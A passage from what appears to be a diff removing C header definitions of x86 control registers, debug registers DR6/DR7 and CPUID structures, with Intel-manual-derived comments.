If this flag is not set, the processor will generate an - * invalid opcode exception (\#UD) whenever it detects an unmasked SIMD floating-point exception. - */ - uint64_t os_xmm_exception_support : 1; -#define CR4_OS_XMM_EXCEPTION_SUPPORT_BIT 10 -#define CR4_OS_XMM_EXCEPTION_SUPPORT_FLAG 0x400 -#define CR4_OS_XMM_EXCEPTION_SUPPORT_MASK 0x01 -#define CR4_OS_XMM_EXCEPTION_SUPPORT(_) (((_) >> 10) & 0x01) - - /** - * @brief User-Mode Instruction Prevention - * - * [Bit 11] When set, the following instructions cannot be executed if CPL > 0: SGDT, SIDT, SLDT, SMSW, and STR. An attempt - * at such execution causes a generalprotection exception (\#GP). - */ - uint64_t usermode_instruction_prevention : 1; -#define CR4_USERMODE_INSTRUCTION_PREVENTION_BIT 11 -#define CR4_USERMODE_INSTRUCTION_PREVENTION_FLAG 0x800 -#define CR4_USERMODE_INSTRUCTION_PREVENTION_MASK 0x01 -#define CR4_USERMODE_INSTRUCTION_PREVENTION(_) (((_) >> 11) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief VMX-Enable - * - * [Bit 13] Enables VMX operation when set. - * - * @see Vol3C[23(INTRODUCTION TO VIRTUAL MACHINE EXTENSIONS)] - */ - uint64_t vmx_enable : 1; -#define CR4_VMX_ENABLE_BIT 13 -#define CR4_VMX_ENABLE_FLAG 0x2000 -#define CR4_VMX_ENABLE_MASK 0x01 -#define CR4_VMX_ENABLE(_) (((_) >> 13) & 0x01) - - /** - * @brief SMX-Enable - * - * [Bit 14] Enables SMX operation when set. - * - * @see Vol2[6(SAFER MODE EXTENSIONS REFERENCE)] - */ - uint64_t smx_enable : 1; -#define CR4_SMX_ENABLE_BIT 14 -#define CR4_SMX_ENABLE_FLAG 0x4000 -#define CR4_SMX_ENABLE_MASK 0x01 -#define CR4_SMX_ENABLE(_) (((_) >> 14) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief FSGSBASE-Enable - * - * [Bit 16] Enables the instructions RDFSBASE, RDGSBASE, WRFSBASE, and WRGSBASE. - */ - uint64_t fsgsbase_enable : 1; -#define CR4_FSGSBASE_ENABLE_BIT 16 -#define CR4_FSGSBASE_ENABLE_FLAG 0x10000 -#define CR4_FSGSBASE_ENABLE_MASK 0x01 -#define CR4_FSGSBASE_ENABLE(_) (((_) >> 16) & 0x01) - - /** - * @brief PCID-Enable - * - * [Bit 17] Enables process-context identifiers (PCIDs) when set. Can be set only in IA-32e mode (if IA32_EFER.LMA = 1). - * - * @see Vol3A[4.10.1(Process-Context Identifiers (PCIDs))] - */ - uint64_t pcid_enable : 1; -#define CR4_PCID_ENABLE_BIT 17 -#define CR4_PCID_ENABLE_FLAG 0x20000 -#define CR4_PCID_ENABLE_MASK 0x01 -#define CR4_PCID_ENABLE(_) (((_) >> 17) & 0x01) - - /** - * @brief XSAVE and Processor Extended States-Enable - * - * [Bit 18] When set, this flag: - * -# indicates (via CPUID.01H:ECX.OSXSAVE[bit 27]) that the operating system supports the use of the XGETBV, XSAVE and - * XRSTOR instructions by general software; - * -# enables the XSAVE and XRSTOR instructions to save and restore the x87 FPU state (including MMX registers), the SSE - * state (XMM registers and MXCSR), along with other processor extended states enabled in XCR0; - * -# enables the processor to execute XGETBV and XSETBV instructions in order to read and write XCR0. - * - * @see Vol3A[2.6(EXTENDED CONTROL REGISTERS (INCLUDING XCR0))] - * @see Vol3A[13(SYSTEM PROGRAMMING FOR INSTRUCTION SET EXTENSIONS AND PROCESSOR EXTENDED)] - */ - uint64_t os_xsave : 1; -#define CR4_OS_XSAVE_BIT 18 -#define CR4_OS_XSAVE_FLAG 0x40000 -#define CR4_OS_XSAVE_MASK 0x01 -#define CR4_OS_XSAVE(_) (((_) >> 18) & 0x01) - uint64_t reserved3 : 1; - - /** - * @brief SMEP-Enable - * - * [Bit 20] Enables supervisor-mode execution prevention (SMEP) when set. - * - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint64_t smep_enable : 1; -#define CR4_SMEP_ENABLE_BIT 20 -#define CR4_SMEP_ENABLE_FLAG 0x100000 -#define CR4_SMEP_ENABLE_MASK 0x01 -#define CR4_SMEP_ENABLE(_) (((_) >> 20) & 0x01) - - /** - * @brief SMAP-Enable - * - * [Bit 21] Enables supervisor-mode access prevention (SMAP) when set. - * - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint64_t smap_enable : 1; -#define CR4_SMAP_ENABLE_BIT 21 -#define CR4_SMAP_ENABLE_FLAG 0x200000 -#define CR4_SMAP_ENABLE_MASK 0x01 -#define CR4_SMAP_ENABLE(_) (((_) >> 21) & 0x01) - - /** - * @brief Protection-Key-Enable - * - * [Bit 22] Enables 4-level paging to associate each linear address with a protection key. The PKRU register specifies, for - * each protection key, whether user-mode linear addresses with that protection key can be read or written. This bit also - * enables access to the PKRU register using the RDPKRU and WRPKRU instructions. - */ - uint64_t protection_key_enable : 1; -#define CR4_PROTECTION_KEY_ENABLE_BIT 22 -#define CR4_PROTECTION_KEY_ENABLE_FLAG 0x400000 -#define CR4_PROTECTION_KEY_ENABLE_MASK 0x01 -#define CR4_PROTECTION_KEY_ENABLE(_) (((_) >> 22) & 0x01) - uint64_t reserved4 : 41; - }; - - uint64_t flags; -} cr4; - -typedef union -{ - struct - { - /** - * @brief Task Priority Level - * - * [Bits 3:0] This sets the threshold value corresponding to the highestpriority interrupt to be blocked. A value of 0 - * means all interrupts are enabled. This field is available in 64- bit mode. A value of 15 means all interrupts will be - * disabled. - */ - uint64_t task_priority_level : 4; -#define CR8_TASK_PRIORITY_LEVEL_BIT 0 -#define CR8_TASK_PRIORITY_LEVEL_FLAG 0x0F -#define CR8_TASK_PRIORITY_LEVEL_MASK 0x0F -#define CR8_TASK_PRIORITY_LEVEL(_) (((_) >> 0) & 0x0F) - - /** - * @brief Reserved - * - * [Bits 63:4] Reserved and must be written with zeros. Failure to do this causes a general-protection exception. - */ - uint64_t reserved : 60; -#define CR8_RESERVED_BIT 4 -#define CR8_RESERVED_FLAG 0xFFFFFFFFFFFFFFF0 -#define CR8_RESERVED_MASK 0xFFFFFFFFFFFFFFF -#define CR8_RESERVED(_) (((_) >> 4) & 0xFFFFFFFFFFFFFFF) - }; - - uint64_t flags; -} cr8; - -/** - * @} - */ - - /** - * @defgroup debug_registers \ - * Debug registers - * - * Eight debug registers control the debug operation of the processor. These registers can be written to and read using the - * move to/from debug register form of the MOV instruction. A debug register may be the source or destination operand for - * one of these instructions. - * Debug registers are privileged resources; a MOV instruction that accesses these registers can only be executed in - * real-address mode, in SMM or in protected mode at a CPL of 0. An attempt to read or write the debug registers from any - * other privilege level generates a general-protection exception (\#GP). The primary function of the debug registers is to - * set up and monitor from 1 to 4 breakpoints, numbered 0 though 3. For each breakpoint, the following information can be - * specified: - * - The linear address where the breakpoint is to occur. - * - The length of the breakpoint location: 1, 2, 4, or 8 bytes. - * - The operation that must be performed at the address for a debug exception to be generated. - * - Whether the breakpoint is enabled. - * - Whether the breakpoint condition was present when the debug exception was generated. - * - * @see Vol3B[17.2.4(Debug Control Register (DR7))] - * @see Vol3B[17.2(DEBUG REGISTERS)] (reference) - * @{ - */ -typedef union -{ - struct - { - /** - * @brief B0 through B3 (breakpoint condition detected) flags - * - * [Bits 3:0] Indicates (when set) that its associated breakpoint condition was met when a debug exception was generated. - * These flags are set if the condition described for each breakpoint by the LENn, and R/Wn flags in debug control register - * DR7 is true. They may or may not be set if the breakpoint is not enabled by the Ln or the Gn flags in register DR7. - * Therefore on a \#DB, a debug handler should check only those B0-B3 bits which correspond to an enabled breakpoint. - */ - uint64_t breakpoint_condition : 4; -#define DR6_BREAKPOINT_CONDITION_BIT 0 -#define DR6_BREAKPOINT_CONDITION_FLAG 0x0F -#define DR6_BREAKPOINT_CONDITION_MASK 0x0F -#define DR6_BREAKPOINT_CONDITION(_) (((_) >> 0) & 0x0F) - uint64_t reserved1 : 9; - - /** - * @brief BD (debug register access detected) flag - * - * [Bit 13] Indicates that the next instruction in the instruction stream accesses one of the debug registers (DR0 through - * DR7). This flag is enabled when the GD (general detect) flag in debug control register DR7 is set. - * - * @see Vol3B[17.2.4(Debug Control Register (DR7))] - */ - uint64_t debug_register_access_detected : 1; -#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_BIT 13 -#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_FLAG 0x2000 -#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_MASK 0x01 -#define DR6_DEBUG_REGISTER_ACCESS_DETECTED(_) (((_) >> 13) & 0x01) - - /** - * @brief BS (single step) flag - * - * [Bit 14] Indicates (when set) that the debug exception was triggered by the singlestep execution mode (enabled with the - * TF flag in the EFLAGS register). The single-step mode is the highestpriority debug exception. When the BS flag is set, - * any of the other debug status bits also may be set. - */ - uint64_t single_instruction : 1; -#define DR6_SINGLE_INSTRUCTION_BIT 14 -#define DR6_SINGLE_INSTRUCTION_FLAG 0x4000 -#define DR6_SINGLE_INSTRUCTION_MASK 0x01 -#define DR6_SINGLE_INSTRUCTION(_) (((_) >> 14) & 0x01) - - /** - * @brief BT (task switch) flag - * - * [Bit 15] Indicates (when set) that the debug exception was triggered by the singlestep execution mode (enabled with the - * TF flag in the EFLAGS register). The single-step mode is the highestpriority debug exception. When the BS flag is set, - * any of the other debug status bits also may be set. - */ - uint64_t task_switch : 1; -#define DR6_TASK_SWITCH_BIT 15 -#define DR6_TASK_SWITCH_FLAG 0x8000 -#define DR6_TASK_SWITCH_MASK 0x01 -#define DR6_TASK_SWITCH(_) (((_) >> 15) & 0x01) - - /** - * @brief RTM (restricted transactional memory) flag - * - * [Bit 16] Indicates (when clear) that a debug exception (\#DB) or breakpoint exception (\#BP) occurred inside an RTM - * region while advanced debugging of RTM transactional regions was enabled. This bit is set for any other debug exception - * (including all those that occur when advanced debugging of RTM transactional regions is not enabled). This bit is always - * 1 if the processor does not support RTM. - * - * @see Vol3B[17.3.3(Debug Exceptions, Breakpoint Exceptions, and Restricted Transactional Memory (RTM))] - */ - uint64_t restricted_transactional_memory : 1; -#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_BIT 16 -#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_FLAG 0x10000 -#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_MASK 0x01 -#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY(_) (((_) >> 16) & 0x01) - uint64_t reserved2 : 47; - }; - - uint64_t flags; -} dr6; - -typedef union -{ - struct - { - /** - * @brief L0 through L3 (local breakpoint enable) flags (bits 0, 2, 4, and 6) - * - * [Bit 0] Enables (when set) the breakpoint condition for the associated breakpoint for the current task. When a - * breakpoint condition is detected and its associated Ln flag is set, a debug exception is generated. The processor - * automatically clears these flags on every task switch to avoid unwanted breakpoint conditions in the new task. - */ - uint64_t local_breakpoint_0 : 1; -#define DR7_LOCAL_BREAKPOINT_0_BIT 0 -#define DR7_LOCAL_BREAKPOINT_0_FLAG 0x01 -#define DR7_LOCAL_BREAKPOINT_0_MASK 0x01 -#define DR7_LOCAL_BREAKPOINT_0(_) (((_) >> 0) & 0x01) - - /** - * @brief G0 through G3 (global breakpoint enable) flags (bits 1, 3, 5, and 7) - * - * [Bit 1] Enables (when set) the breakpoint condition for the associated breakpoint for all tasks. When a breakpoint - * condition is detected and its associated Gn flag is set, a debug exception is generated. The processor does not clear - * these flags on a task switch, allowing a breakpoint to be enabled for all tasks. - */ - uint64_t global_breakpoint_0 : 1; -#define DR7_GLOBAL_BREAKPOINT_0_BIT 1 -#define DR7_GLOBAL_BREAKPOINT_0_FLAG 0x02 -#define DR7_GLOBAL_BREAKPOINT_0_MASK 0x01 -#define DR7_GLOBAL_BREAKPOINT_0(_) (((_) >> 1) & 0x01) - uint64_t local_breakpoint_1 : 1; -#define DR7_LOCAL_BREAKPOINT_1_BIT 2 -#define DR7_LOCAL_BREAKPOINT_1_FLAG 0x04 -#define DR7_LOCAL_BREAKPOINT_1_MASK 0x01 -#define DR7_LOCAL_BREAKPOINT_1(_) (((_) >> 2) & 0x01) - uint64_t global_breakpoint_1 : 1; -#define DR7_GLOBAL_BREAKPOINT_1_BIT 3 -#define DR7_GLOBAL_BREAKPOINT_1_FLAG 0x08 -#define DR7_GLOBAL_BREAKPOINT_1_MASK 0x01 -#define DR7_GLOBAL_BREAKPOINT_1(_) (((_) >> 3) & 0x01) - uint64_t local_breakpoint_2 : 1; -#define DR7_LOCAL_BREAKPOINT_2_BIT 4 -#define DR7_LOCAL_BREAKPOINT_2_FLAG 0x10 -#define DR7_LOCAL_BREAKPOINT_2_MASK 0x01 -#define DR7_LOCAL_BREAKPOINT_2(_) (((_) >> 4) & 0x01) - uint64_t global_breakpoint_2 : 1; -#define DR7_GLOBAL_BREAKPOINT_2_BIT 5 -#define DR7_GLOBAL_BREAKPOINT_2_FLAG 0x20 -#define DR7_GLOBAL_BREAKPOINT_2_MASK 0x01 -#define DR7_GLOBAL_BREAKPOINT_2(_) (((_) >> 5) & 0x01) - uint64_t local_breakpoint_3 : 1; -#define DR7_LOCAL_BREAKPOINT_3_BIT 6 -#define DR7_LOCAL_BREAKPOINT_3_FLAG 0x40 -#define DR7_LOCAL_BREAKPOINT_3_MASK 0x01 -#define DR7_LOCAL_BREAKPOINT_3(_) (((_) >> 6) & 0x01) - uint64_t global_breakpoint_3 : 1; -#define DR7_GLOBAL_BREAKPOINT_3_BIT 7 -#define DR7_GLOBAL_BREAKPOINT_3_FLAG 0x80 -#define DR7_GLOBAL_BREAKPOINT_3_MASK 0x01 -#define DR7_GLOBAL_BREAKPOINT_3(_) (((_) >> 7) & 0x01) - - /** - * @brief LE (local exact breakpoint enable) - * - * [Bit 8] This feature is not supported in the P6 family processors, later IA-32 processors, and Intel 64 processors. When - * set, these flags cause the processor to detect the exact instruction that caused a data breakpoint condition. For - * backward and forward compatibility with other Intel processors, we recommend that the LE and GE flags be set to 1 if - * exact breakpoints are required. - */ - uint64_t local_exact_breakpoint : 1; -#define DR7_LOCAL_EXACT_BREAKPOINT_BIT 8 -#define DR7_LOCAL_EXACT_BREAKPOINT_FLAG 0x100 -#define DR7_LOCAL_EXACT_BREAKPOINT_MASK 0x01 -#define DR7_LOCAL_EXACT_BREAKPOINT(_) (((_) >> 8) & 0x01) - uint64_t global_exact_breakpoint : 1; -#define DR7_GLOBAL_EXACT_BREAKPOINT_BIT 9 -#define DR7_GLOBAL_EXACT_BREAKPOINT_FLAG 0x200 -#define DR7_GLOBAL_EXACT_BREAKPOINT_MASK 0x01 -#define DR7_GLOBAL_EXACT_BREAKPOINT(_) (((_) >> 9) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief RTM (restricted transactional memory) flag - * - * [Bit 11] Enables (when set) advanced debugging of RTM transactional regions. This advanced debugging is enabled only if - * IA32_DEBUGCTL.RTM is also set. - * - * @see Vol3B[17.3.3(Debug Exceptions, Breakpoint Exceptions, and Restricted Transactional Memory (RTM))] - */ - uint64_t restricted_transactional_memory : 1; -#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_BIT 11 -#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_FLAG 0x800 -#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_MASK 0x01 -#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY(_) (((_) >> 11) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief GD (general detect enable) flag - * - * [Bit 13] Enables (when set) debug-register protection, which causes a debug exception to be generated prior to any MOV - * instruction that accesses a debug register. When such a condition is detected, the BD flag in debug status register DR6 - * is set prior to generating the exception. This condition is provided to support in-circuit emulators. - * When the emulator needs to access the debug registers, emulator software can set the GD flag to prevent interference - * from the program currently executing on the processor. - * The processor clears the GD flag upon entering to the debug exception handler, to allow the handler access to the debug - * registers. - */ - uint64_t general_detect : 1; -#define DR7_GENERAL_DETECT_BIT 13 -#define DR7_GENERAL_DETECT_FLAG 0x2000 -#define DR7_GENERAL_DETECT_MASK 0x01 -#define DR7_GENERAL_DETECT(_) (((_) >> 13) & 0x01) - uint64_t reserved3 : 2; - - /** - * @brief R/W0 through R/W3 (read/write) fields (bits 16, 17, 20, 21, 24, 25, 28, and 29) - * - * [Bits 17:16] Specifies the breakpoint condition for the corresponding breakpoint. The DE (debug extensions) flag in - * control register CR4 determines how the bits in the R/Wn fields are interpreted. When the DE flag is set, the processor - * interprets bits as follows: - * - 00 - Break on instruction execution only. - * - 01 - Break on data writes only. - * - 10 - Break on I/O reads or writes. - * - 11 - Break on data reads or writes but not instruction fetches. - * When the DE flag is clear, the processor interprets the R/Wn bits the same as for the Intel386(TM) and Intel486(TM) - * processors, which is as follows: - * - 00 - Break on instruction execution only. - * - 01 - Break on data writes only. - * - 10 - Undefined. - * - 11 - Break on data reads or writes but not instruction fetches. - */ - uint64_t read_write_0 : 2; -#define DR7_READ_WRITE_0_BIT 16 -#define DR7_READ_WRITE_0_FLAG 0x30000 -#define DR7_READ_WRITE_0_MASK 0x03 -#define DR7_READ_WRITE_0(_) (((_) >> 16) & 0x03) - - /** - * @brief LEN0 through LEN3 (Length) fields (bits 18, 19, 22, 23, 26, 27, 30, and 31) - * - * [Bits 19:18] Specify the size of the memory location at the address specified in the corresponding breakpoint address - * register (DR0 through DR3). These fields are interpreted as follows: - * - 00 - 1-byte length. - * - 01 - 2-byte length. - * - 10 - Undefined (or 8 byte length, see note below). - * - 11 - 4-byte length. - * If the corresponding RWn field in register DR7 is 00 (instruction execution), then the LENn field should also be 00. The - * effect of using other lengths is undefined. - * - * @see Vol3B[17.2.5(Breakpoint Field Recognition)] - */ - uint64_t length_0 : 2; -#define DR7_LENGTH_0_BIT 18 -#define DR7_LENGTH_0_FLAG 0xC0000 -#define DR7_LENGTH_0_MASK 0x03 -#define DR7_LENGTH_0(_) (((_) >> 18) & 0x03) - uint64_t read_write_1 : 2; -#define DR7_READ_WRITE_1_BIT 20 -#define DR7_READ_WRITE_1_FLAG 0x300000 -#define DR7_READ_WRITE_1_MASK 0x03 -#define DR7_READ_WRITE_1(_) (((_) >> 20) & 0x03) - uint64_t length_1 : 2; -#define DR7_LENGTH_1_BIT 22 -#define DR7_LENGTH_1_FLAG 0xC00000 -#define DR7_LENGTH_1_MASK 0x03 -#define DR7_LENGTH_1(_) (((_) >> 22) & 0x03) - uint64_t read_write_2 : 2; -#define DR7_READ_WRITE_2_BIT 24 -#define DR7_READ_WRITE_2_FLAG 0x3000000 -#define DR7_READ_WRITE_2_MASK 0x03 -#define DR7_READ_WRITE_2(_) (((_) >> 24) & 0x03) - uint64_t length_2 : 2; -#define DR7_LENGTH_2_BIT 26 -#define DR7_LENGTH_2_FLAG 0xC000000 -#define DR7_LENGTH_2_MASK 0x03 -#define DR7_LENGTH_2(_) (((_) >> 26) & 0x03) - uint64_t read_write_3 : 2; -#define DR7_READ_WRITE_3_BIT 28 -#define DR7_READ_WRITE_3_FLAG 0x30000000 -#define DR7_READ_WRITE_3_MASK 0x03 -#define DR7_READ_WRITE_3(_) (((_) >> 28) & 0x03) - uint64_t length_3 : 2; -#define DR7_LENGTH_3_BIT 30 -#define DR7_LENGTH_3_FLAG 0xC0000000 -#define DR7_LENGTH_3_MASK 0x03 -#define DR7_LENGTH_3(_) (((_) >> 30) & 0x03) - uint64_t reserved4 : 32; - }; - - uint64_t flags; -} dr7; - -/** - * @} - */ - - /** - * @defgroup cpuid \ - * CPUID - * - * @see Vol2A[3.2(CPUID)] (reference) - * @{ - */ - /** - * @brief Returns CPUID's Highest Value for Basic Processor Information and the Vendor Identification String - * - * When CPUID executes with EAX set to 0, the processor returns the highest value the CPUID recognizes for returning basic - * processor information. The value is returned in the EAX register and is processor specific. - * A vendor identification string is also returned in EBX, EDX, and ECX. For Intel processors, the string is "GenuineIntel" - * and is expressed: - * - EBX <- 756e6547h (* "Genu", with G in the low eight bits of BL *) - * - EDX <- 49656e69h (* "ineI", with i in the low eight bits of DL *) - * - ECX <- 6c65746eh (* "ntel", with n in the low eight bits of CL *) - */ -#define CPUID_SIGNATURE 0x00000000 -typedef struct -{ - /** - * @brief EAX - * - * Maximum Input Value for Basic CPUID Information. - */ - uint32_t max_cpuid_input_value; - - /** - * @brief EBX - * - * "Genu" - */ - uint32_t ebx_value_genu; - - /** - * @brief ECX - * - * "ntel" - */ - uint32_t ecx_value_ntel; - - /** - * @brief EDX - * - * "ineI" - */ - uint32_t edx_value_inei; -} cpuid_eax_00; - - -/** - * @brief Returns Model, Family, Stepping Information, Additional Information and Feature Information - * - * Returns: - * * Model, Family, Stepping Information in EAX - * * Additional Information in EBX - * * Feature Information in ECX and EDX - */ -#define CPUID_VERSION_INFORMATION 0x00000001 -typedef struct -{ - /** - * @brief When CPUID executes with EAX set to 01H, version information is returned in EAX - */ - union - { - struct - { - uint32_t stepping_id : 4; -#define CPUID_VERSION_INFORMATION_STEPPING_ID_BIT 0 -#define CPUID_VERSION_INFORMATION_STEPPING_ID_FLAG 0x0F -#define CPUID_VERSION_INFORMATION_STEPPING_ID_MASK 0x0F -#define CPUID_VERSION_INFORMATION_STEPPING_ID(_) (((_) >> 0) & 0x0F) - uint32_t model : 4; -#define CPUID_VERSION_INFORMATION_MODEL_BIT 4 -#define CPUID_VERSION_INFORMATION_MODEL_FLAG 0xF0 -#define CPUID_VERSION_INFORMATION_MODEL_MASK 0x0F -#define CPUID_VERSION_INFORMATION_MODEL(_) (((_) >> 4) & 0x0F) - uint32_t family_id : 4; -#define CPUID_VERSION_INFORMATION_FAMILY_ID_BIT 8 -#define CPUID_VERSION_INFORMATION_FAMILY_ID_FLAG 0xF00 -#define CPUID_VERSION_INFORMATION_FAMILY_ID_MASK 0x0F -#define CPUID_VERSION_INFORMATION_FAMILY_ID(_) (((_) >> 8) & 0x0F) - - /** - * [Bits 13:12] - 0 - Original OEM Processor - * - 1 - Intel OverDrive(R) Processor - * - 2 - Dual processor (not applicable to Intel486 processors) - * - 3 - Intel reserved - */ - uint32_t processor_type : 2; -#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_BIT 12 -#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_FLAG 0x3000 -#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_MASK 0x03 -#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE(_) (((_) >> 12) & 0x03) - uint32_t reserved1 : 2; - - /** - * [Bits 19:16] The Extended Model ID needs to be examined only when the Family ID is 06H or 0FH. - */ - uint32_t extended_model_id : 4; -#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_BIT 16 -#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_FLAG 0xF0000 -#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_MASK 0x0F -#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID(_) (((_) >> 16) & 0x0F) - - /** - * [Bits 27:20] The Extended Family ID needs to be examined only when the Family ID is 0FH. - */ - uint32_t extended_family_id : 8; -#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_BIT 20 -#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_FLAG 0xFF00000 -#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_MASK 0xFF -#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID(_) (((_) >> 20) & 0xFF) - uint32_t reserved2 : 4; - }; - - uint32_t flags; - } cpuid_version_information; - - /** - * @brief When CPUID executes with EAX set to 01H, additional information is returned to the EBX register - */ - union - { - struct - { - /** - * [Bits 7:0] This number provides an entry into a brand string table that contains brand strings for IA-32 processors. - * More information about this field is provided later in this section. - */ - uint32_t brand_index : 8; -#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_BIT 0 -#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_FLAG 0xFF -#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_MASK 0xFF -#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX(_) (((_) >> 0) & 0xFF) - - /** - * @brief Value * 8 = cache line size in bytes; used also by CLFLUSHOPT - * - * [Bits 15:8] This number indicates the size of the cache line flushed by the CLFLUSH and CLFLUSHOPT instructions in - * 8-byte increments. This field was introduced in the Pentium 4 processor. - */ - uint32_t clflush_line_size : 8; -#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_BIT 8 -#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_FLAG 0xFF00 -#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_MASK 0xFF -#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE(_) (((_) >> 8) & 0xFF) - - /** - * [Bits 23:16] Maximum number of addressable IDs for logical processors in this physical package. - * - * @remarks The nearest power-of-2 integer that is not smaller than EBX[23:16] is the number of unique initial APIC IDs - * reserved for addressing different logical processors in a physical package. This field is only valid if - * CPUID.1.EDX.HTT[bit 28] = 1. - */ - uint32_t max_addressable_ids : 8; -#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_BIT 16 -#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_FLAG 0xFF0000 -#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_MASK 0xFF -#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS(_) (((_) >> 16) & 0xFF) - - /** - * [Bits 31:24] This number is the 8-bit ID that is assigned to the local APIC on the processor during power up. This field - * was introduced in the Pentium 4 processor. - */ - uint32_t initial_apic_id : 8; -#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_BIT 24 -#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_FLAG 0xFF000000 -#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_MASK 0xFF -#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID(_) (((_) >> 24) & 0xFF) - }; - - uint32_t flags; - } cpuid_additional_information; - - /** - * @brief When CPUID executes with EAX set to 01H, feature information is returned in ECX and EDX - */ - union - { - struct - { - /** - * @brief Streaming SIMD Extensions 3 (SSE3) - * - * [Bit 0] A value of 1 indicates the processor supports this technology. - */ - uint32_t streaming_simd_extensions_3 : 1; -#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_BIT 0 -#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_FLAG 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3(_) (((_) >> 0) & 0x01) - - /** - * @brief PCLMULQDQ instruction - * - * [Bit 1] A value of 1 indicates the processor supports the PCLMULQDQ instruction. - */ - uint32_t pclmulqdq_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_BIT 1 -#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_FLAG 0x02 -#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION(_) (((_) >> 1) & 0x01) - - /** - * @brief 64-bit DS Area - * - * [Bit 2] A value of 1 indicates the processor supports DS area using 64-bit layout. - */ - uint32_t ds_area_64bit_layout : 1; -#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_BIT 2 -#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_FLAG 0x04 -#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT(_) (((_) >> 2) & 0x01) - - /** - * @brief MONITOR/MWAIT instruction - * - * [Bit 3] A value of 1 indicates the processor supports this feature. - */ - uint32_t monitor_mwait_instruction : 1; -#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_BIT 3 -#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_FLAG 0x08 -#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION(_) (((_) >> 3) & 0x01) - - /** - * @brief CPL Qualified Debug Store - * - * [Bit 4] A value of 1 indicates the processor supports the extensions to the Debug Store feature to allow for branch - * message storage qualified by CPL. - */ - uint32_t cpl_qualified_debug_store : 1; -#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_BIT 4 -#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_FLAG 0x10 -#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE(_) (((_) >> 4) & 0x01) - - /** - * @brief Virtual Machine Extensions - * - * [Bit 5] A value of 1 indicates that the processor supports this technology. - */ - uint32_t virtual_machine_extensions : 1; -#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_BIT 5 -#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_FLAG 0x20 -#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_MASK 0x01 -#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS(_) 